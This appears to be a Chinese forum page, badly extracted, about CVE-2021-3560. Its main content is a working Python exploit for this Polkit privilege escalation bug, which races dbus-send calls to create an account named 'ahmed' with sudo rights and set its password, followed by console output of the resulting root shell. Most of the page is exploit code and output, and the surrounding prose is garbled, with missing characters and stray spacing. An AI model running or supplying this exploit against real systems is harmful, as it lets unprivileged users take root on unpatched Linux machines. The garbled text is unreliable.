[29026] 2021-06-22_Polkit漏洞利用-CVE-2021-3560

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-19
2021-06-22_Polkit漏洞利用-CVE-2021-3560 P o l k i t     -   C V E - 2 0 2 1 - 3 5 6 0 O t s   2 0 2 1 - 0 6 - 2 2 O t s           - 广   =   C V E - 2 0 2 1 - 3 5 6 0     p o l k i t   使   D B u s     2   C r e a t e U s e r     S e t P a s s w o r d   r o o t · @ a l m o r a b e a   h t t p : / / a l m o r a b e a . n e t   t e s t @ u b u n t u : ~ / D e s k t o p $   p y t h o n 3   C V E - 2 0 2 1 - 3 5 6 0 . p y   * * * * * * * * * * * * * *   使   p o l k i t     -   C V E - 2 0 2 1 - 3 5 6 0     A h m a d   A l m o r a b e a   @ a l m o r a b e a   K e v i n B a c k h o u s e   h t t p s   :   / / g i t h u b . b l o g / 2 0 2 1 - 0 6 - 1 0 - p r i v i l e g e - e s c a l a t i o n - p o l k i t - r o o t - o n - l i n u x - w i t h - b u g / # h i s t o r y   [ + ]   [ + ]     a h m e d     [ + ]   0 . 0 0 8 4 4 6 8 9 0 9 9 6 4 0 7 1 9 1 [ + ]   0 . 0 0 8 9 3 4 3 3 6 6 8 4 7 0 7 0 8 4   [ + ]   ' ' A h   ,   ' s u   a h m e d ' ,     ' s u d o   s u '     r o o t   b a s h :     ( 4 6 9 8 3 ) :     b a s h     i o c t l   :     s h e l l     r o o t @ u b u n t u : / h o m e / t e s t / D e s k t o p #   i d   u i d   = 0 ( r o o t )   g i d = 0 ( r o o t )   g r o u p s = 0 ( r o o t )   r o o t @ u b u n t u : / h o m e / t e s t / D e s k t o p #   w h o a m i   r o o t   r o o t @ u b u n t u : / h o m e / t e s t / D e s k t o p # G U I   A u t h e n t i c a t i o n   (   h t t p s : / / g i t h u b . b l o g / 2 0 2 1 - 0 6 - 1 0 - p r i v i l e g e - e s c a l a t i o n - p o l k i t - r o o t - o n - l i n u x - w i t h - b u g /   ) #   C V E - 2 0 2 1 - 3 5 6 0 . p y i m p o r t   o s i m p o r t   s y s i m p o r t   t i m e i m p o r t   s u b p r o c e s s i m p o r t   r a n d o m i m p o r t   p w d
h t t p s : / / g i t h u b . c o m / A l m o r a b e a / P o l k i t - e x p l o i t p r i n t   ( " * * * * * * * * * * * * * * " ) p r i n t ( " E x p l o i t :   P r i v i l e g e   e s c a l a t i o n   w i t h   p o l k i t   -   C V E - 2 0 2 1 - 3 5 6 0 " ) p r i n t ( " E x p l o i t   c o d e   w r i t t e n   b y   A h m a d   A l m o r a b e a   @ a l m o r a b e a " ) p r i n t ( " O r i g i n a l   e x p l o i t   a u t h o r :   K e v i n   B a c k h o u s e   " ) p r i n t ( " F o r   m o r e   d e t a i l s   c h e c k   t h i s   o u t :   h t t p s : / / g i t h u b . b l o g / 2 0 2 1 - 0 6 - 1 0 - p r i v i l e g e - e s c a l a t i o n - p o l k i t - r o o t - o n - l i n u x - w i t h - b u g / " ) p r i n t   ( " * * * * * * * * * * * * * * " ) p r i n t ( " [ + ]   S t a r t i n g   t h e   E x p l o i t   " ) t i m e . s l e e p ( 3 ) c h e c k   =   T r u e c o u n t e r   =   0 w h i l e   c h e c k :     c o u n t e r   =   c o u n t e r   + 1     p r o c e s s   =   s u b p r o c e s s . P o p e n ( [ ' d b u s - s e n d ' , ' - - s y s t e m ' , ' - - d e s t = o r g . f r e e d e s k t o p . A c c o u n t s ' , ' - - t y p e = m e t h o d _ c a l l ' , ' - - p r i n t - r e p l y ' , ' / o r g / f r e e d e s k t o p / A c c o u n t s ' , ' o r g . f r e e d e s k t o p . A c c o u n t s . C r e a t e U s e r '     t r y :                 # p r i n t ( ' 1   -   R u n n i n g   i n   p r o c e s s ' ,   p r o c e s s . p i d )         R a n d o m   =   r a n d o m . u n i f o r m ( 0 . 0 0 6 , 0 . 0 0 9 )         p r o c e s s . w a i t ( t i m e o u t = R a n d o m )         p r o c e s s . k i l l ( )     e x c e p t   s u b p r o c e s s . T i m e o u t E x p i r e d :                 # p r i n t ( ' T i m e d   o u t   -   k i l l i n g ' ,   p r o c e s s . p i d )                 p r o c e s s . k i l l ( )     u s e r   =   s u b p r o c e s s . r u n ( [ ' i d ' ,   ' a h m e d ' ] ,   s t d o u t = s u b p r o c e s s . P I P E ) . s t d o u t . d e c o d e ( ' u t f - 8 ' )     i f   u s e r . f i n d ( " u i d " )   ! =   - 1 :         p r i n t ( " [ + ]   U s e r   C r e a t e d   w i t h   t h e   n a m e   o f   a h m e d " )         p r i n t ( " [ + ]   T i m e d   o u t   a t :   " + s t r ( R a n d o m ) )         c h e c k   = F a l s e         b r e a k     i f   c o u n t e r   >   2 0 0 0 :         p r i n t ( " [ - ]   C o u l d n ' t   a d d   t h e   u s e r ,   t r y   a g a i n   i t   m a y   w o r k " )         s y s . e x i t ( 0 ) f o r   i   i n   r a n g e ( 2 0 0 ) :     # p r i n t ( i )     u i d   =   " / o r g / f r e e d e s k t o p / A c c o u n t s / U s e r " + s t r ( p w d . g e t p w n a m ( ' a h m e d ' ) . p w _ u i d )     # I n   c a s e   y o u   n e e d   t o   p u t   a   p a s s w o r d   u n - c o m m e n t   t h e   c o d e   b e l o w   a n d   p u t   y o u r   p a s s w o r d   a f t e r   s t r i n g : y o u r p a s s w o r d '     p a s s w o r d   =   " s t r i n g : "     # r e s   =   s u b p r o c e s s . r u n ( [ ' o p e n s s l ' ,   ' p a s s w d ' , ' - 5 ' , p a s s w o r d ] ,   s t d o u t = s u b p r o c e s s . P I P E ) . s t d o u t . d e c o d e ( ' u t f - 8 ' )     # p a s s w o r d   =   f " s t r i n g : { r e s . r s t r i p ( ) } "     p r o c e s s   =   s u b p r o c e s s . P o p e n ( [ ' d b u s - s e n d ' , ' - - s y s t e m ' , ' - - d e s t = o r g . f r e e d e s k t o p . A c c o u n t s ' , ' - - t y p e = m e t h o d _ c a l l ' , ' - - p r i n t - r e p l y ' , u i d , ' o r g . f r e e d e s k t o p . A c c o u n t s . U s e r . S e t P a s s w o r d ' , p a s s w o r d ,     t r y :                 # p r i n t ( ' 1   -   R u n n i n g   i n   p r o c e s s ' ,   p r o c e s s . p i d )                 R a n d o m   =   r a n d o m . u n i f o r m ( 0 . 0 0 6 , 0 . 0 0 9 )                 p r o c e s s . w a i t ( t i m e o u t = R a n d o m )                 p r o c e s s . k i l l ( )     e x c e p t   s u b p r o c e s s . T i m e o u t E x p i r e d :                 # p r i n t ( ' T i m e d   o u t   -   k i l l i n g ' ,   p r o c e s s . p i d )                 p r o c e s s . k i l l ( ) p r i n t ( " [ + ]   T i m e d   o u t   a t :   "   +   s t r ( R a n d o m ) ) p r i n t ( " [ + ]   E x p l o i t   C o m p l e t e d ,   Y o u r   n e w   u s e r   i s   ' A h m e d '   j u s t   l o g   i n t o   i t   l i k e ,   ' s u   a h m e d ' ,   a n d   t h e n   ' s u d o   s u '   t o   r o o t   " ) p   =   s u b p r o c e s s . c a l l ( " ( s u   a h m e d   - c   ' s u d o   s u ' ) " ,   s h e l l = T r u e )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则